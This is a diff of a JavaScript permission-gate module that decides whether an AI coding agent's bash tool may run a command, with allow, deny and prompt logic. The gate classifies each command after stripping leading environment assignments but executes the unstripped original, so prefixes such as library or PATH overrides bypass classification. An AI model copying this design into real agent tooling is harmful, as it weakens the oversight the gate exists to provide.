* - `stripLeadingEnvAssignments("A=1 B=2 echo hi")` → `"echo hi"`
|
|
2002
|
+
* - `stripLeadingEnvAssignments("echo A=1 B=2")` → `"echo A=1 B=2"`
|
|
2003
|
+
* (no leading assignments, unchanged)
|
|
2004
|
+
* - `stripLeadingEnvAssignments("")` → `""`
|
|
2005
|
+
* - `stripLeadingEnvAssignments("VAR='quoted val' cmd")` → `"cmd"`
|
|
2006
|
+
*
|
|
2007
|
+
* Pure function — no I/O, no side effects.
|
|
2008
|
+
*/
|
|
2009
|
+
export function stripLeadingEnvAssignments(command) {
|
|
2010
|
+
const trimmed = command.trim();
|
|
2011
|
+
if (trimmed.length === 0)
|
|
2012
|
+
return command;
|
|
2013
|
+
const words = splitShellWords(trimmed);
|
|
2014
|
+
if (words.length === 0)
|
|
2015
|
+
return command;
|
|
2016
|
+
// Find the first word that is NOT an env assignment.
|
|
2017
|
+
const firstNonEnv = words.findIndex((w) => !isEnvAssignment(w));
|
|
2018
|
+
// If ALL words are env assignments (no actual command), return the original.
|
|
2019
|
+
if (firstNonEnv === -1)
|
|
2020
|
+
return command;
|
|
2021
|
+
// If the first word is already non-env, return the original unchanged.
|
|
2022
|
+
if (firstNonEnv === 0)
|
|
2023
|
+
return command;
|
|
2024
|
+
return words.slice(firstNonEnv).join(" ");
|
|
2025
|
+
}
|
|
2026
|
+
/**
|
|
2027
|
+
* Compute the list of entries that "Allow Always" will persist for `command`, in the
|
|
2028
|
+
* AC-008-01-mandated order: **first non-bare segment, then full trimmed command, then remaining
|
|
2029
|
+
* non-bare segments in parser order**. Bare-path entries are filtered by
|
|
2030
|
+
* {@link isBarePath} so `/tmp/out` / `~/notes.md`-style tokens do not escape as standalone
|
|
2031
|
+
* allowlist entries. Duplicates are removed with an order-preserving Set-then-spread pass so the
|
|
2032
|
+
* "full + segments" formula collapses to a single entry when the full command equals the first
|
|
2033
|
+
* segment (e.g. `echo hello` → `["echo hello"]`).
|
|
2034
|
+
*
|
|
2035
|
+
* **Ordering contract** (PRD AC-008-01 verbatim — pinned by `test/allowlist.test.ts`):
|
|
2036
|
+
* - `getAllowListEntries("npm install express && npm test")`
|
|
2037
|
+
* → `["npm install express", "npm install express && npm test", "npm test"]`
|
|
2038
|
+
* - `getAllowListEntries("a && b && c")` → `["a", "a && b && c", "b", "c"]`
|
|
2039
|
+
* - `getAllowListEntries("cat /tmp/output.txt")` → `["cat /tmp/output.txt"]`
|
|
2040
|
+
* (bare path inside the segment survives; the bare path as a standalone entry is filtered)
|
|
2041
|
+
* - `getAllowListEntries("echo hello")` → `["echo hello"]` (single segment, no dedup)
|
|
2042
|
+
* - `getAllowListEntries("npm test && npm test")` → `["npm test", "npm test && npm test"]`
|
|
2043
|
+
* (first-occurrence-wins dedup; duplicate segment removed, full compound preserved)
|
|
2044
|
+
*
|
|
2045
|
+
* Contract anchors:
|
|
2046
|
+
* - `data-model.md:177-228` (FR-008: allowlist entry computation)
|
|
2047
|
+
* - PRD AC-008-01 / AC-008-02 / AC-008-03 (`["npm install express", "npm install express && npm test", "npm test"]`)
|
|
2048
|
+
* - `architecture.md:152-163` (prompt preview ordering)
|
|
2049
|
+
*
|
|
2050
|
+
* Pure data transformation — no I/O, no `ExtensionContext`, no `os.homedir()` access. The
|
|
2051
|
+
* empty-input early-return keeps dedup logic clean and matches PRD's "empty command → empty array"
|
|
2052
|
+
* exception strategy.
|
|
2053
|
+
*/
|
|
2054
|
+
export function getAllowListEntries(command) {
|
|
2055
|
+
const trimmed = command.trim();
|
|
2056
|
+
if (trimmed.length === 0)
|
|
2057
|
+
return [];
|
|
2058
|
+
const rawSegments = splitShellSegments(trimmed).filter((s) => s.length > 0);
|
|
2059
|
+
const segments = rawSegments.filter((s) => !isBarePath(s));
|
|
2060
|
+
// Build the candidate list in AC-008-01 order: first segment, full trimmed, then the rest.
|
|
2061
|
+
// When the parser produced no non-bare segments (e.g. the command IS a bare path), fall back
|
|
2062
|
+
// to the trimmed command itself so the result is `[]` only when EVERY entry — including the
|
|
2063
|
+
// full command — is a bare path. This pins AC-008-02 (`cat /tmp/output.txt` → `["cat /tmp/output.txt"]`)
|
|
2064
|
+
// because the segment contains a space, so `isBarePath("cat /tmp/output.txt") === false`.
|
|
2065
|
+
let candidates;
|
|
2066
|
+
if (segments.length === 0) {
|
|
2067
|
+
candidates = [trimmed];
|
|
2068
|
+
}
|
|
2069
|
+
else {
|
|
2070
|
+
candidates = [segments[0], trimmed, ...segments.slice(1)];
|
|
2071
|
+
}
|
|
2072
|
+
const seen = new Set();
|
|
2073
|
+
const out = [];
|
|
2074
|
+
for (const entry of candidates) {
|
|
2075
|
+
if (entry.length === 0)
|
|
2076
|
+
continue;
|
|
2077
|
+
if (isBarePath(entry))
|
|
2078
|
+
continue;
|
|
2079
|
+
if (seen.has(entry))
|
|
2080
|
+
continue;
|
|
2081
|
+
seen.add(entry);
|
|
2082
|
+
out.push(entry);
|
|
2083
|
+
}
|
|
2084
|
+
return out;
|
|
2085
|
+
}
|
|
2086
|
+
/**
|
|
2087
|
+
* Module-level ephemeral allow set — survives across `runPermissionGate` invocations within a
|
|
2088
|
+
* single session, cleared by {@link sessionStartHandler} on the next session start so long-lived
|
|
2089
|
+
* Pi/OMP runtimes don't carry stale unlocks across sessions (Constitution §1.6 headless safety
|
|
2090
|
+
* implies per-session isolation; an unlocks-only-in-memory allowlist MUST reset with the session).
|
|
2091
|
+
*
|
|
2092
|
+
* NOT exported as a binding (ESM live bindings are read-only from outside the module). Production
|
|
2093
|
+
* code mutates it from inside the same module only; tests drive it indirectly via
|
|
2094
|
+
* {@link ephemeralAllow} / {@link isEphemeralAllowed}.
|
|
2095
|
+
*/
|
|
2096
|
+
let ephemeralAllowList = new Set();
|
|
2097
|
+
/**
|
|
2098
|
+
* Add `command` to the in-memory ephemeral allow set so the next evaluation that matches the
|
|
2099
|
+
* command returns `{ allow: true }` without consulting the classifier or showing a prompt. Consumed
|
|
2100
|
+
* on the immediate next match (single-use) via {@link isEphemeralAllowed}. Exported so tests can
|
|
2101
|
+
* seed the set directly without going through {@link runPermissionGate}.
|
|
2102
|
+
*/
|
|
2103
|
+
export function ephemeralAllow(command) {
|
|
2104
|
+
ephemeralAllowList.add(command);
|
|
2105
|
+
}
|
|
2106
|
+
/**
|
|
2107
|
+
* Returns `true` exactly once for any command currently in the ephemeral allow set, removing the
|
|
2108
|
+
* entry on the consuming read so the rule is single-use per FLOW-08 Happy-Path Step 1 ("Allow
|
|
2109
|
+
* Once: rule held in memory; consumed on next match"). A second call with the same command
|
|
2110
|
+
* returns `false` because the entry was drained on the first match.
|
|
2111
|
+
*/
|
|
2112
|
+
export function isEphemeralAllowed(command) {
|
|
2113
|
+
if (ephemeralAllowList.has(command)) {
|
|
2114
|
+
ephemeralAllowList.delete(command);
|
|
2115
|
+
return true;
|
|
2116
|
+
}
|
|
2117
|
+
return false;
|
|
2118
|
+
}
|
|
2119
|
+
/**
|
|
2120
|
+
* Module-level session allow set — survives across `runPermissionGate` invocations within a
|
|
2121
|
+
* single session, cleared by {@link sessionStartHandler} on the next session start. Unlike
|
|
2122
|
+
* {@link ephemeralAllowList} (single-use, consumed on next match), entries here persist for the
|
|
2123
|
+
* lifetime of the session so the developer is never re-prompted for the same command until they
|
|
2124
|
+
* restart Pi/OMP.
|
|
2125
|
+
*
|
|
2126
|
+
* NOT exported as a binding (ESM live bindings are read-only from outside the module). Production
|
|
2127
|
+
* code mutates it from inside the same module only; tests drive it indirectly via
|
|
2128
|
+
* {@link sessionAllow} / {@link isSessionAllowed}.
|
|
2129
|
+
*/
|
|
2130
|
+
let sessionAllowList = new Set();
|
|
2131
|
+
/**
|
|
2132
|
+
* Add `command` to the in-memory session allow set so every subsequent evaluation within this
|
|
2133
|
+
* Pi/OMP session returns `{ allow: true }` without consulting the classifier or showing a prompt.
|
|
2134
|
+
* Unlike {@link ephemeralAllow}, the entry persists for the session lifetime and is NOT consumed
|
|
2135
|
+
* on match — the developer can reuse the command freely until restart.
|
|
2136
|
+
* Exported so tests can seed the set directly without going through {@link runPermissionGate}.
|
|
2137
|
+
*/
|
|
2138
|
+
export function sessionAllow(command) {
|
|
2139
|
+
sessionAllowList.add(command);
|
|
2140
|
+
}
|
|
2141
|
+
/**
|
|
2142
|
+
* Returns `true` for any command currently in the session allow set WITHOUT removing the entry,
|
|
2143
|
+
* so the rule stays active for the rest of the session. A second call with the same command also
|
|
2144
|
+
* returns `true` — the entry is cleared only by {@link sessionStartHandler} or
|
|
2145
|
+
* {@link setCurrentMode}.
|
|
2146
|
+
*/
|
|
2147
|
+
export function isSessionAllowed(command) {
|
|
2148
|
+
return sessionAllowList.has(command);
|
|
2149
|
+
}
|
|
2150
|
+
/**
|
|
2151
|
+
* Append `entries` to `list` (in place) using first-occurrence-wins dedup. Pure helper
|
|
2152
|
+
* shared by {@link appendToAllowList} and {@link appendToDenyList} — both writers push
|
|
2153
|
+
* entries onto a per-level pattern list and MUST preserve the
|
|
2154
|
+
* "clicking-twice-doesn't-duplicate" contract (AC-005-04 / AC-005-05 first-match-wins).
|
|
2155
|
+
*/
|
|
2156
|
+
function appendUnique(list, entries) {
|
|
2157
|
+
for (const entry of entries) {
|
|
2158
|
+
if (entry.length === 0)
|
|
2159
|
+
continue;
|
|
2160
|
+
if (list.includes(entry))
|
|
2161
|
+
continue;
|
|
2162
|
+
list.push(entry);
|
|
2163
|
+
}
|
|
2164
|
+
}
|
|
2165
|
+
/**
|
|
2166
|
+
* Append every entry in `entries` to the current level's `allow` list in `perm-rules.json`,
|
|
2167
|
+
* preserving the deny-by-default safety floor (Constitution §1.4 v0.4.0). Follows the ISS-004
|
|
2168
|
+
* atomic-rename read-then-write pattern so:
|
|
2169
|
+
*
|
|
2170
|
+
* - `loadRules(ctx)` re-reads from disk (manual edits between prompt render and click are
|
|
2171
|
+
* honored, per FR-011 live-reload contract).
|
|
2172
|
+
* - Only the CURRENT level's `allow` array is mutated; the safety-floor `low.deny` defaults
|
|
2173
|
+
* and any user-added deny entries are preserved verbatim across the write.
|
|
2174
|
+
* - Dedup via {@link appendUnique} so re-clicking "Allow Always" on the same compound
|
|
2175
|
+
* command does NOT duplicate entries (first occurrence wins).
|
|
2176
|
+
*
|
|
2177
|
+
* File-local (NOT exported) — driven exclusively via {@link runPermissionGate}'s "allow-always"
|
|
2178
|
+
* branch. Accepts the full allowlist-entry array (not just the trimmed command) per the
|
|
2179
|
+
* AC-005-04 SEGMENT PERSISTENCE contract: every entry from {@link getAllowListEntries} — the
|
|
2180
|
+
* parsed segments AND the full trimmed command — must land on disk after an "Allow Always" click
|
|
2181
|
+
* so the developer doesn't need to repeat the prompt for each individual segment.
|
|
2182
|
+
*
|
|
2183
|
+
* **API asymmetry note**: this writer takes `readonly string[]` (the full
|
|
2184
|
+
* {@link getAllowListEntries} output) because "Allow Always" persists BOTH the trimmed
|
|
2185
|
+
* compound command AND every parsed segment — a compound `rm x && cat /tmp/junk` allows
|
|
2186
|
+
* the whole compound plus each individual piece in one click. {@link appendToDenyList}
|
|
2187
|
+
* is intentionally narrower: "Deny" persists only the literal compound command (a deny
|
|
2188
|
+
* is ambiguous if broken into per-segment denies — the developer chose to block the
|
|
2189
|
+
* exact compound, so the on-disk rule must match the prompt verbatim).
|
|
2190
|
+
*/
|
|
2191
|
+
function appendToAllowList(entries, ctx) {
|
|
2192
|
+
const rules = loadRules(ctx);
|
|
2193
|
+
const mode = getCurrentMode();
|
|
2194
|
+
appendUnique(rules.rules[mode].allow, entries);
|
|
2195
|
+
saveRules(getRulesPath(), rules, ctx);
|
|
2196
|
+
}
|
|
2197
|
+
/**
|
|
2198
|
+
* Append `command` to the current level's `deny` list in `perm-rules.json`, mirroring the
|
|
2199
|
+
* read-then-write + dedup + safety-floor-preservation contract from {@link appendToAllowList}.
|
|
2200
|
+
* Cascade direction (FLOW-10) is a READ-time concern in {@link classifySegment}; this writer
|
|
2201
|
+
* mutates only the CURRENT level, so the developer-facing "Deny" choice is scoped exactly to
|
|
2202
|
+
* the active permission level.
|
|
2203
|
+
*
|
|
2204
|
+
* **API asymmetry note** (see {@link appendToAllowList} for the full rationale): this writer
|
|
2205
|
+
* takes a single `command` string rather than a `readonly string[]`. "Deny" persists only the
|
|
2206
|
+
* literal compound command — splitting a deny into per-segment entries would be ambiguous
|
|
2207
|
+
* (a `rm x && cat /tmp/junk` deny would create two rules that future explicit-level denials
|
|
2208
|
+
* can override independently, breaking FLOW-10 cascade integrity). The asymmetry is deliberate;
|
|
2209
|
+
* the `readonly string[]` shape would surface an invariant violation at the type system.
|
|
2210
|
+
*/
|
|
2211
|
+
function appendToDenyList(command, ctx) {
|
|
2212
|
+
const rules = loadRules(ctx);
|
|
2213
|
+
const mode = getCurrentMode();
|
|
2214
|
+
appendUnique(rules.rules[mode].deny, [command]);
|
|
2215
|
+
saveRules(getRulesPath(), rules, ctx);
|
|
2216
|
+
}
|
|
2217
|
+
/**
|
|
2218
|
+
* Headless-safety short-circuit helper shared by {@link promptForPermission} and
|
|
2219
|
+
* {@link runPermissionGate}. Returns `true` when the caller should treat the request as
|
|
2220
|
+
* auto-denied because `ctx.hasUI === false`; in that case surfaces the {@link BLOCKED_HEADLESS_MESSAGE}
|
|
2221
|
+
* notification through the (optional) `ctx.ui` surface — guarded through an `if (ctx.ui)`
|
|
2222
|
+
* check so a runtime that omits the UI entirely does not throw. Returns `false` whenever
|
|
2223
|
+
* UI is available so the caller continues down its normal pipeline.
|
|
2224
|
+
*/
|
|
2225
|
+
function checkHeadlessShortCircuit(ctx) {
|
|
2226
|
+
if (ctx.hasUI)
|
|
2227
|
+
return false;
|
|
2228
|
+
if (ctx.ui)
|
|
2229
|
+
ctx.ui.notify(BLOCKED_HEADLESS_MESSAGE, "warning");
|
|
2230
|
+
return true;
|
|
2231
|
+
}
|
|
2232
|
+
/**
|
|
2233
|
+
* Three-choice `ctx.ui.select` prompt rendered when the classifier yields `ask`. Surfaces the
|
|
2234
|
+
* FLOW-07 "developer saw every distinct command" preview verbatim by inlining
|
|
2235
|
+
* {@link getAllowListEntries}'s output into the message body.
|
|
2236
|
+
*
|
|
2237
|
+
* Returns `"allow-once" | "allow-session" | "allow-always" | "deny"` on the four documented
|
|
2238
|
+
* user choices, OR `null` when the prompt could not be shown at all (missing UI, thrown
|
|
2239
|
+
* `ctx.ui.select`, unexpected return value). The `null` return is critical: it lets the
|
|
2240
|
+
* orchestrator distinguish "user actively chose Deny" (which should persist per FLOW-08 Step 4)
|
|
2241
|
+
* from "prompt blew up, deny conservatively without persistence" (Constitution §1.6 — a failed
|
|
2242
|
+
* prompt MUST NOT silently persist anything to `perm-rules.json`).
|
|
2243
|
+
*/
|
|
2244
|
+
async function promptForPermission(reason, command, ctx) {
|
|
2245
|
+
if (checkHeadlessShortCircuit(ctx))
|
|
2246
|
+
return null;
|
|
2247
|
+
if (typeof ctx.ui?.select !== "function") {
|
|
2248
|
+
if (ctx.ui)
|
|
2249
|
+
ctx.ui.notify("Prompt unavailable; defaulting to deny", "warning");
|
|
2250
|
+
return null;
|
|
2251
|
+
}
|
|
2252
|
+
const entries = getAllowListEntries(command);
|
|
2253
|
+
const preview = entries.length > 0 ? entries.join(", ") : "(no segments)";
|
|
2254
|
+
const message = `[${reason}]\n\nCommand: ${command}\n\nWill allow: ${preview}`;
|
|
2255
|
+
try {
|
|
2256
|
+
const items = ["Allow Once", "Allow This Session", "Allow Always", "Deny"];
|
|
2257
|
+
const selected = await ctx.ui.select(message, items);
|
|
2258
|
+
if (selected === undefined)
|
|
2259
|
+
return null;
|
|
2260
|
+
const result = {
|
|
2261
|
+
"Allow Once": "allow-once",
|
|
2262
|
+
"Allow This Session": "allow-session",
|
|
2263
|
+
"Allow Always": "allow-always",
|
|
2264
|
+
Deny: "deny",
|
|
2265
|
+
};
|
|
2266
|
+
return result[selected] ?? null;
|
|
2267
|
+
}
|
|
2268
|
+
catch {
|
|
2269
|
+
if (ctx.ui)
|
|
2270
|
+
ctx.ui.notify("Prompt failed; defaulting to deny", "warning");
|
|
2271
|
+
return null;
|
|
2272
|
+
}
|
|
2273
|
+
}
|
|
2274
|
+
/**
|
|
2275
|
+
* Four-branch permission gate — the user-visible keystone for FLOW-07 (interactive prompt),
|
|
2276
|
+
* FLOW-08 (scope: ephemeral / persist-allow / persist-deny), and FLOW-11 (headless auto-deny).
|
|
2277
|
+
*
|
|
2278
|
+
* Pipeline:
|
|
2279
|
+
* 1. Off-mode bypass (FLOW-06) — `currentMode === "off"` returns `{ allow: true }` immediately,
|
|
2280
|
+
* skipping both the classifier and the prompt. The type-checker treats `currentMode` as
|
|
2281
|
+
* `PermissionLevel` (excludes "off"); the test-only `setCurrentMode("off")` cast forces
|
|
2282
|
+
* "off" through, and the local alias `RuntimePermissionLevel` below widens the comparison
|
|
2283
|
+
* back without weakening any static surface.
|
|
2284
|
+
* 2. Session allow check — `isSessionAllowed(command)` returns `true` when the command was
|
|
2285
|
+
* previously approved via "Allow This Session" for the rest of this session. Non-consuming,
|
|
2286
|
+
* so repeated invocations of the same command reuse the same session-level token without
|
|
2287
|
+
* re-prompting or persisting to disk.
|
|
2288
|
+
* 3. Ephemeral check (FLOW-08 Step 1) — `isEphemeralAllowed(command)` is consume-on-match, so
|
|
2289
|
+
* a single "Allow Once" click is honored exactly once on the immediate next evaluation.
|
|
2290
|
+
* 4. Classifier (FLOW-07 routing) — `classifyCommand` yields `allow` / `deny` / `ask`; the
|
|
2291
|
+
* `deny` branch short-circuits past the prompt per FLOW-07 ("deny is automatic"), the
|
|
2292
|
+
* `ask` branch falls through to the prompt handler.
|
|
2293
|
+
* 5. Prompt (FLOW-07 Step 4) — only reached when the classifier yields `ask` AND
|
|
2294
|
+
* `ctx.hasUI === true`. On `allow-session` the gate seeds the session-level set; on
|
|
2295
|
+
* `allow-once` the gate seeds the ephemeral set; on `allow-always` the gate persists the
|
|
2296
|
+
* full {@link getAllowListEntries} list (not just the trimmed command) per the AC-005-04
|
|
2297
|
+
* segment-persistence contract; on `deny` the gate persists the command to the current
|
|
2298
|
+
* level's deny list.
|
|
2299
|
+
*
|
|
2300
|
+
* Headless safety (FLOW-11): when `ctx.hasUI === false`, the `ask` branch surfaces
|
|
2301
|
+
* `BLOCKED (headless)` via `ctx.ui?.notify` (guarded through optional chaining so a runtime
|
|
2302
|
+
* that omits the UI surface entirely does not throw) and returns `{ allow: false }`.
|
|
2303
|
+
*/
|
|
2304
|
+
export async function runPermissionGate(command, ctx) {
|
|
2305
|
+
// (0) Strip leading env-var assignments — transient `VAR=value` prefixes (e.g.
|
|
2306
|
+
// `PLAN_TARGET=/tmp/foo ~/.claude/skills/commit/commit.sh post`) are shell-level
|
|
2307
|
+
// environment overrides, not part of the actual command being classified. Stripping
|
|
2308
|
+
// them early ensures the classifier, allowlist rules, ephemeral/session checks, and
|
|
2309
|
+
// prompt preview all work against the executable command string. The stripped command
|
|
2310
|
+
// replaces `command` for the rest of this function.
|
|
2311
|
+
const resolvedCommand = stripLeadingEnvAssignments(command);
|
|
2312
|
+
// (1) Off-mode bypass — FLOW-06. `currentMode` is typed as `PermissionLevel`, so the
|
|
2313
|
+
// `"off"` runtime state is surfaced through the {@link RuntimePermissionLevel} alias
|
|
2314
|
+
// at this single comparison site; the rest of the module can keep the strict
|
|
2315
|
+
// `PermissionLevel` contract (so `MODE_LABELS`, `classifyCommand`, and `appendUnique`
|
|
2316
|
+
// keys stay narrow). Production callers reach "off" exclusively through
|
|
2317
|
+
// `setCurrentMode("off")` (the test seam).
|
|
2318
|
+
const runtimeMode = currentMode;
|
|
2319
|
+
if (runtimeMode === "off") {
|
|
2320
|
+
return { allow: true };
|
|
2321
|
+
}
|
|
2322
|
+
// (2) Session allow check — persists across the session without consuming on match.
|
|
2323
|
+
if (isSessionAllowed(resolvedCommand)) {
|
|
2324
|
+
return { allow: true };
|
|
2325
|
+
}
|
|
2326
|
+
// (3) Ephemeral check — FLOW-08 Step 1 (consume-on-match).
|
|
2327
|
+
if (isEphemeralAllowed(resolvedCommand)) {
|
|
2328
|
+
return { allow: true };
|
|
2329
|
+
}
|
|
2330
|
+
// (3) Classifier routing.
|
|
2331
|
+
const mode = getCurrentMode();
|
|
2332
|
+
const rules = loadRules(ctx);
|
|
2333
|
+
const decision = classifyCommand(resolvedCommand, mode, rules);
|
|
2334
|
+
if (decision.decision === "allow") {
|
|
2335
|
+
return { allow: true };
|
|
2336
|
+
}
|
|
2337
|
+
if (decision.decision === "deny") {
|
|
2338
|
+
if (ctx.hasUI && ctx.ui) {
|
|
2339
|
+
ctx.ui.notify(`Blocked: ${decision.reason}`, "warning");
|
|
2340
|
+
}
|
|
2341
|
+
return { allow: false };
|
|
2342
|
+
}
|
|
2343
|
+
// (5) Prompt branch — classifier yielded "ask".
|
|
2344
|
+
// (4a) Headless short-circuit (FLOW-11).
|
|
2345
|
+
if (checkHeadlessShortCircuit(ctx)) {
|
|
2346
|
+
return { allow: false };
|
|
2347
|
+
}
|
|
2348
|
+
const choice = await promptForPermission(decision.reason, resolvedCommand, ctx);
|
|
2349
|
+
if (choice === null) {
|
|
2350
|
+
// Prompt could not be shown (missing UI, thrown `ctx.ui.select`, unexpected return value).
|
|
2351
|
+
// Fail closed per Constitution §1.6 ("never block waiting for interactive input") WITHOUT
|
|
2352
|
+
// persisting anything — the user didn't actively choose Deny, so a thrown / unavailable
|
|
2353
|
+
// prompt must not silently append a deny entry to `perm-rules.json`.
|
|
2354
|
+
return { allow: false };
|
|
2355
|
+
}
|
|
2356
|
+
if (choice === "allow-session") {
|
|
2357
|
+
const entries = getAllowListEntries(resolvedCommand);
|
|
2358
|
+
for (const entry of entries) {
|
|
2359
|
+
sessionAllow(entry);
|
|
2360
|
+
}
|
|
2361
|
+
return { allow: true };
|
|
2362
|
+
}
|
|
2363
|
+
if (choice === "allow-once") {
|
|
2364
|
+
ephemeralAllow(resolvedCommand);
|
|
2365
|
+
return { allow: true };
|
|
2366
|
+
}
|
|
2367
|
+
if (choice === "allow-always") {
|
|
2368
|
+
const entries = getAllowListEntries(resolvedCommand);
|
|
2369
|
+
appendToAllowList(entries, ctx);
|
|
2370
|
+
return {
|
|
2371
|
+
allow: true,
|
|
2372
|
+
persistWrite: { level: mode, action: "allow", pattern: resolvedCommand },
|
|
2373
|
+
};
|
|
2374
|
+
}
|
|
2375
|
+
if (choice === "deny") {
|
|
2376
|
+
appendToDenyList(resolvedCommand, ctx);
|
|
2377
|
+
return {
|
|
2378
|
+
allow: false,
|
|
2379
|
+
persistWrite: { level: mode, action: "deny", pattern: resolvedCommand },
|
|
2380
|
+
};
|
|
2381
|
+
}
|
|
2382
|
+
// Defensive fallback — `promptForPermission` returns `"allow-once" | "allow-session" |
|
|
2383
|
+
// "allow-always" | "deny" | null`, and the five branches above cover all of them. The
|
|
2384
|
+
// explicit `return` keeps TypeScript's exhaustiveness check honest and documents the
|
|
2385
|
+
// conservative-deny default if a future refactor adds a new return value without updating
|
|
2386
|
+
// this switch.
|
|
2387
|
+
return { allow: false };
|
|
2388
|
+
}
|
|
2389
|
+
/** ─── Bash Tool (TSK-005-03 / ISS-005) ─── */
|
|
2390
|
+
/**
|
|
2391
|
+
* TypeBox parameter schema for the registered `bash` tool. Mirrors the upstream Pi/OMP
|
|
2392
|
+
* built-in `bash` tool's input shape (`{ command: string }`) so the LLM sees a familiar
|
|
2393
|
+
* surface. The schema is the gatekeeper's single source of truth for the bash tool's
|
|
2394
|
+
* parameters — it is exported (transitively via the bash tool registration) so future
|
|
2395
|
+
* shards can extend the schema (e.g. `cwd`, `timeout`) without re-declaring the literal
|
|
2396
|
+
* type.
|
|
2397
|
+
*/
|
|
2398
|
+
const BASH_TOOL_PARAMETERS = Type.Object({
|
|
2399
|
+
command: Type.String({ description: "Shell command to execute" }),
|
|
2400
|
+
});
|
|
2401
|
+
/**
|
|
2402
|
+
* User-visible description of the registered `bash` tool — surfaced to the LLM in the
|
|
2403
|
+
* tool-selection prompt and to the developer in `/help`. Centralized so a future rename
|
|
2404
|
+
* or policy update (e.g. adding the mode-gate caveat) flows from a single edit to the
|
|
2405
|
+
* registration call and the matching test assertions.
|
|
2406
|
+
*/
|
|
2407
|
+
const BASH_TOOL_DESCRIPTION = "Execute a shell command. The gatekeeper permission gate runs BEFORE dispatch; denied commands return a BLOCKED result without invoking the shell.";
|
|
2408
|
+
/**
|
|
2409
|
+
* Execute a single bash command after the gatekeeper permission gate has approved it.
|
|
2410
|
+
* Wraps `node:child_process.exec` via `promisify` so the returned promise resolves on
|
|
2411
|
+
* process exit (success or non-zero exit code) and rejects on spawn failure
|
|
2412
|
+
* (ENOENT-style errors). Stdout and stderr are merged into a single `stdout` field per
|
|
2413
|
+
* the upstream `BashResult` contract.
|
|
2414
|
+
*
|
|
2415
|
+
* Not used by any test in the current shard — wired here so the bash tool's happy path
|
|
2416
|
+
* (after `runPermissionGate` returns `{ allow: true }`) actually executes the command
|
|
2417
|
+
* rather than returning an empty stub. The BLOCKED / denied-command paths are pinned by
|
|
2418
|
+
* the foundation-shard wiring tests.
|
|
2419
|
+
*/
|
|
2420
|
+
function execBash(command, cwd) {
|
|
2421
|
+
return execAsync(command, { cwd });
|
|
2422
|
+
}
|
|
2423
|
+
/**
|
|
2424
|
+
* Build a `BashExecuteResult` from a finalized text payload. Centralized so the four
|
|
2425
|
+
* return sites in {@link bashExecute} (non-string guard, gate-deny, exec-failure, success)
|
|
2426
|
+
* share a single declaration of the `content: [{ type: "text", text }]` + `details: undefined`
|
|
2427
|
+
* + `output: text` + `isError` shape — the duplication was an obvious Extract-Function
|
|
2428
|
+
* candidate once the GREEN-phase hand-rolled returns landed in a 4-way cascade.
|
|
2429
|
+
*/
|
|
2430
|
+
function buildBashResult(text, isError) {
|
|
2431
|
+
return {
|
|
2432
|
+
content: [{ type: "text", text }],
|
|
2433
|
+
details: undefined,
|
|
2434
|
+
output: text,
|
|
2435
|
+
isError,
|
|
2436
|
+
};
|
|
2437
|
+
}
|
|
2438
|
+
/**
|
|
2439
|
+
* Execute handler for the registered `bash` tool. The integration keystone for FLOW-07
|
|
2440
|
+
* (interactive prompt via the gate), FLOW-08 (ephemeral / persist-allow / persist-deny),
|
|
2441
|
+
* FLOW-10 (cascade direction), and FLOW-11 (headless BLOCKED). Routes every invocation
|
|
2442
|
+
* through `runPermissionGate` BEFORE dispatching the shell so a denied command never
|
|
2443
|
+
* reaches `child_process.exec`.
|
|
2444
|
+
*
|
|
2445
|
+
* Pipeline:
|
|
2446
|
+
* 1. Defensive guard — `typeof input.command !== "string"` returns BLOCKED immediately
|
|
2447
|
+
* so a malformed tool payload (number, object, null, undefined) never reaches the
|
|
2448
|
+
* classifier. This pins the "bash tool is a typed seam" contract — anything Pi/OMP
|
|
2449
|
+
* passes through is string-validated before the gate.
|
|
2450
|
+
* 2. `runPermissionGate` — the orchestrator from ISS-005 that combines ephemeral
|
|
2451
|
+
* allow-once, classifier routing (deny > ask > allow), the three-choice prompt,
|
|
2452
|
+
* and headless auto-deny. The gate runs FIRST; only an `{ allow: true }` decision
|
|
2453
|
+
* proceeds to shell dispatch.
|
|
2454
|
+
* 3. Shell dispatch — `execBash` invokes the command in `ctx.cwd` and returns the
|
|
2455
|
+
* merged stdout/stderr payload. A shell-spawn failure surfaces through the
|
|
2456
|
+
* `catch` arm with `isError: true` so the LLM sees a structured error rather than
|
|
2457
|
+
* a thrown promise.
|
|
2458
|
+
*
|
|
2459
|
+
* Source anchor: `tasks.md TSK-005-03` (bash tool registration + execute handler).
|
|
2460
|
+
*/
|
|
2461
|
+
async function bashExecute(_toolCallId, params, _signal, _onUpdate, ctx) {
|
|
2462
|
+
// (1) Defensive non-string guard — a malformed tool payload (number, object, null,
|
|
2463
|
+
// undefined) never reaches the gate. Returns BLOCKED with isError: true so the LLM
|
|
2464
|
+
// surfaces a structured error to the developer.
|
|
2465
|
+
if (typeof params.command !== "string") {
|
|
2466
|
+
return buildBashResult("BLOCKED: bash tool command must be a string", true);
|
|
2467
|
+
}
|
|
2468
|
+
// (2) Permission gate — classifier + prompt + persistence routing. The gate runs BEFORE
|
|
2469
|
+
// shell dispatch so a denied command never reaches `child_process.exec`.
|
|
2470
|
+
const decision = await runPermissionGate(params.command, ctx);
|
|
2471
|
+
if (!decision.allow) {
|
|
2472
|
+
return buildBashResult(`BLOCKED: ${params.command}`, true);
|
|
2473
|
+
}
|
|
2474
|
+
// (3) Shell dispatch — gate approved; run the command in `ctx.cwd` and surface the
|
|
2475
|
+
// merged stdout/stderr payload. A spawn failure (ENOENT, EACCES, etc.) is caught and
|
|
2476
|
+
// returned as a structured error result so the LLM sees a normalized shape.
|
|
2477
|
+
try {
|
|
2478
|
+
const { stdout, stderr } = await execBash(params.command, ctx.cwd);
|
|
2479
|
+
const text = stderr && stderr.length > 0 ? `${stdout}${stdout ? "\n" : ""}${stderr}` : stdout;
|
|
2480
|
+
return buildBashResult(text, false);
|
|
2481
|
+
}
|
|
2482
|
+
catch (err) {
|
|
2483
|
+
const message = err instanceof Error ? err.message : String(err);
|
|
2484
|
+
return buildBashResult(`BLOCKED: shell exec failed: ${message}`, true);
|
|
2485
|
+
}
|
|
2486
|
+
}
|
|
2487
|
+
/**
|
|
2488
|
+
* The single `ToolDefinition` registered by the foundation shard's default-export
|
|
2489
|
+
* wiring (TSK-005-03 / ISS-005). The agent-facing seam that turns the Phase-2
|
|
2490
|
+
* `runPermissionGate` orchestrator into something the LLM actually invokes. Tests
|
|
2491
|
+
* pin the integration end-to-end via `bashHandle.pi.registerTool.mock.calls[0][0]`
|
|
2492
|
+
* (`test/foundation.test.ts` "bash tool — execute handler integration").
|
|
2493
|
+
